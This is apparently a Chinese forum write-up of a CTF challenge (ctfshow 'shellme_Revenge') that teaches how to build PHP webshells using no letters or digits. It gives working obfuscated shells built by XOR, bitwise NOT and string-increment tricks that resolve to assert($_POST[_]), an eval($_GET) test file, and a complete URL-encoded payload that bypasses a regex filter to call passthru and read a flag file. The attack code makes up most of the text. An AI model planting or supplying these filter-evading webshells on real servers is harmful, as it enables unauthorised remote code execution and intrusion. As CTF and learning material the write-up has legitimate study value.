由一题了解深入不包含数字和字母的webshall
nihao123123 WEB安全 3371浏览 · 2021-08-25 11:22

前言

这两天比赛的时候,偶然遇到Y4爷出的一道题,这道题虽然并没有涉及到不包含数字和字母的webshall,但是却涉及到php的自增操作,查着查着,就查到了不包含数字和字母的webshall。此篇文章记录我此次学习的过程。

不包含数字和字母的webshall

在正式的解题之前,我们首先来看看如何构造一个不含数字和字母的webshall
方法有三

方法一:

在php中通过两字符串经过异或操作依旧会得到一个字符串,所以就可以想到,将某字母对某字符进行两次异或,我们依旧得到字母本身,但是却可以绕过数字和字母。
在此前先写一个test.php

//test.php
<?php
$shall=$_GET['shall'];
eval($shall);
?>

基于上文思路,就可以很好的了解P神的实例代码了

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

执行结果如下


可能猛地一看,不知道为什么'%01'和这个符号异或就等于a呢,因为%01a与此符号异或并且通过url编码得到的,因为a与此符号异或所得符号为不可打印字符。

所以也不一定就a非要和这个符号异或,按照要求,a可以和任何非字母和数字异或,因为两相同的字符异或为0,任意字符与0异或均为它本身
可以用a>尝试,结果与我们设想中一样。

方法二:

这次是利用位运算中的"取反"。此法利用UTF-8编码中的某汉字,并将其某个字符取出,比如'和'{2}的结果是"\x8c",其取反几位字母s
但是我在实例中却发现一个问题,它会报错,如下图。

这是因为PHP5下不能直接使用'和'{2},这是PHP7下的语法。
但是其中却出现了个2,违背了我们不能使用字母或者数字的要求,所以这里还利用了PHP弱类型的特性,ture的值为1,故ture+ture==2,所以('>'>'<')+('>'>'<')==2
下面附上P神的代码

<?php
$__=('>'>'<')+('>'>'<');     //$__ =2
$_=$__/$__;               //$_=1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

下图为P神的运行结果

我有个疑问,既然'和'{2}PHP7下的语法,那么就是这部分代码需要在PHP7下运行出来,那P神回显的却是5.6.28版本的PHP,我很是疑惑,而且本机并未复现到位。望某位师傅解惑。

方法三:

通过PHP的自增小技巧。

大意就是,'a'++='b','b'++='c'...'A'++='B','B'++='C'...所以我们只需要拿到一个大写字母,一个小写字母。那么,我们就可以通过自增操作表示出全部的字母。

那么我们如何拿到字母呢?刚好在PHP中如果强制连接数组和字符串的话,数组将会被强制转换为Array

所以我们就可以得到一个小写的a和一个大写的A,再通过自增操作得到所有的字母。
附上P神的shall

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

记得url编码

post:_=phpinfo()

自此不包含数字和字母的webshall知识已经列举完,这个时候就可以写我遇到的那一道题了。

解析题目

ctfshow 吃瓜杯 shellme_Revenge

首先映入眼帘的是下图

我找一圈没啥思路
倒是在 diaabled_function 中看到过滤了许多函数

过滤了system exec shell_exec但是passthru没过滤,也需可以在这里做文章

最后还是在请求头里发现了线索

可以直接传参looklook,随便传

<?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {

    phpinfo();
}
?>

可以看到,要求的POST被过滤的只剩0-3和一个C了,这里给了一个C,还有0-3。可以联想到url编码,而这里利用的正好是包含数字和字母的webshall的方法三,自增。

<?php
$_=C;
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C){0}; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //_GET
($$_{1})($$_{2}); //($_GET{1})($_GET{2})

其中$_GET{1}的意思是,调用get的第一个参数,$_GET{2},调用get的第二个参数。
payload:
GET:

?looklook=1&1=passthru&2=cat /flag.txt

需要将上面的PHP代码进行url编码才符合要求
POST:

ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%7B1%7D)(%24%24_%7B2%7D)%3B%20

总结

看了P神的文章和Y4爷的题,只觉得我欠缺的东西有很多,需要我学习的东西还有许多。继续努力加油!!

参考

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://shimo.im/docs/gwpcxkryVJwyJVHR/read

0 条评论
某人
表情
可输入 255